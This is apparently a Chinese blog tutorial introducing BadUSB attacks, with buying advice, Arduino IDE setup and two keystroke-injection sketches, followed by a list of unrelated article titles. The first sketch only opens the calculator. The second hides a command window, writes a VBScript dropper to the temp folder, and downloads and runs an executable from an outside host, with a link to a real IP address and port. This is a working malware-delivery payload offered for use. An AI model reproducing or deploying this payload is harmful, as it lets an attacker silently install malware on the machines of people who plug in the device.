IOT黑客入门篇之初探Badusb
什么是Badusb?
BadUSB是一种使用带有恶意软件编程的USB设备的计算机安全攻击。例如,USB 闪存驱动器可以包含可编程的Intel 8051微控制器,该微控制器可以重新编程,将USB闪存驱动器变成恶意设备。
BadUSB 攻击是在 2014 年由Karsten Nohl、Sascha Krißler和Jakob Lell在一次Black Hat演讲中首次披露的。演讲两个月后,其他研究人员发布了可用于利用该漏洞的代码。2017年,USG加密狗1.0版本发布,其作用类似于硬件防火墙,旨在防止BadUSB风格的攻击。
购买一个Badusb
1.x宝
向Badusb写入恶意代码
安装烧录工具-Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了
直接在官网下载
下载完成用管理员身份运行,让他自动安装依赖
注意:如果无法安装,可以手动下载到C:\Users\admin\AppData\Local\Arduino15\staging\libraries
这个目录下面打开即可。
然后插入Badusb,Arduino IDE
选择Badusb的端口以及对应型号
弹一个计算器
#include <Keyboard.h>void setup()
{Keyboard.begin();delay(200);delay(100);Keyboard.press(KEY_LEFT_GUI);delay(100); Keyboard.press('r');delay(50); Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(100); Keyboard.println("calc");Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.end();
}
void loop() {}
先编译
然后上传即可
其他payload
#include <Keyboard.h>
void setup() {Keyboard.begin();//开始键盘通讯
delay(300);//延时
Keyboard.press(KEY_LEFT_GUI);//win 键
delay(500);
Keyboard.press('r');//r 键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");
[//Keyboard.println](notion://keyboard.println/)("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("ECHO dim OBJsHELL >%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO SET OBJsHELL = WSCRIPT.CREATEoBJECT(\"WSCRIPT.SHELL\") >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO IrETURN = OBJsHELL.rUN(\"CMD /C ECHO WGET -uRI [HTTP://](http://106.75.249.46:9033/cOOOLIS-MS.EXE)x.x.x.x/sss.exe -oUTfILE %TEMP%/sss.exe | POWERSHELL - && %TEMP%/sss.exe \", 0, true) >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("%temp%/bad.vbs");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}void loop() {// put your main code here, to run repeatedly:}
参考:
维基百科
IOT黑客入门篇之初探Badusb相关推荐
- SQL注入 | 黑客入门篇(如何绕过密码登陆账号)
SQL注入详解 什么是SQL注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击, 而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库. SQL注入 ...
- arcgis开发 多版本之间如何兼容_arcgis api 4.x for js 结合 react 入门开发系列初探篇(附源码下载)...
你还在使用 JQuery 或者 Dojo 框架开发 arcgis api 4.x for js 吗?想试试模块化开发吗?随着前端技术的发展,arcgis api 4.x for js 也有了结合 re ...
- 黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
这篇文章没有什么套路.就是一套自学理论和方向,具体的需要配合网络黑白去学习.毕竟是有网络才会有黑白! 有自学也有培训! 1.打死也不要相信什么分分钟钟教你成为大黑阔的,各种包教包会的教程,就算打不死也 ...
- 神仙级黑客入门教程(非常详细),从零基础入门到精通,从看这篇开始
很多人上来就说想学习黑客,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样. 想要成为黑客,却苦于没有方向,不知道从何学起 ...
- 黑客入门很难吗?这一篇保证你学的明明白白
在网络安全行业待了十余年了,老是有人找我抱怨黑客入门很难,然后一通解释后我发现,之所以觉得难都是因为看的教程全是东拼西凑的,这里学一点那里学一点,脑子里连基本框架都没有.有的甚至学了几个月连黑客是干嘛 ...
- SQL注入漏洞全接触--入门篇
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- AI视觉组培训第二弹——入门篇
▌入门篇 由恩智浦赞助的AI视觉组,今年把人工智能应用在智能车竞赛中的难度由提高了一步.这里面最重要的部分就是,用人工智能的神经网络进行图片识别. 上一次培训,我们已经介绍了人工智能和神经网络 ...
- .NET Core实战项目之CMS 第二章 入门篇-快速入门ASP.NET Core看这篇就够了
本来这篇只是想简单介绍下ASP.NET Core MVC项目的(毕竟要照顾到很多新手朋友),但是转念一想不如来点猛的(考虑到急性子的朋友),让你通过本文的学习就能快速的入门ASP.NET Core.既 ...
- JSON数据结构(A、快速入门篇)(Yanlz+Data+JsonArray+JsonObject+JsonValue+JsonMapper.ToJson+JsonMapper.ToObject+)
<JSON数据结构> 版本 作者 参与者 完成日期 备注 Data_JSON_V01_1.0 严立钻 2018.08.24 ++++一个好用的JSON在线编辑:http://www.kjs ...
最新文章
- Ubantu安装maven
- 计算机与网络技术基础试题及答案,计算机与网络技术基础试题及答案(2003年10月)...
- springmvc框架介绍_Java修行第071天 ---SpringMVC(上)
- 数据结构实验之栈与队列三:后缀式求值
- js中常用的正则表达式
- Errors running builder 'DeploymentBuilder' on project '工程名'
- 如何在Marketing Cloud里创建extension field扩展字
- 牛客网编程练习之编程马拉松:解读密码
- 协程 vs 线程 demo
- python使用新线程执行目标函数
- 苏宁双11战报:0点~1点 线上订单同比增72%
- 百度地图——判断用户是否在配送范围内解决方案
- 三大重磅奖项揭晓 2020全球智博会为行业加冕
- NOIP2015题解
- 工具 | Virtual GPS使用实践说明
- 高通平台环境搭建,编译,系统引导流程分析
- 公司估值:格雷厄姆的公司价值评估模型及应用——成长估值(一)
- 统计各种字符数量(包括汉字)
- YeeCOM DTU 轮询采集
- json数组的遍历(获取属性名和属性值)
热门文章
- 并行计算之MPI(一)
- 【Apache之 Karaf 介绍】
- 轻量级Rpc框架设计--motan源码解析六:client端服务发现
- 使用canvas实现微信小程序滑动解锁功能 ;解决canvas图层随背景能上下滑动导致页面错乱问题;
- win7即将停止服务,升级到win10最详细的图文教程。
- window.onresize在vue中只能使用一次,自适应resize报错
- 在线拖拽html,html5拖曳操作 HTML5实现网页元素的拖放操作
- Python教程: for循环例子
- android searchview属性,SearchView的用法(一)
- miui 使用google play 无法安装和更新应用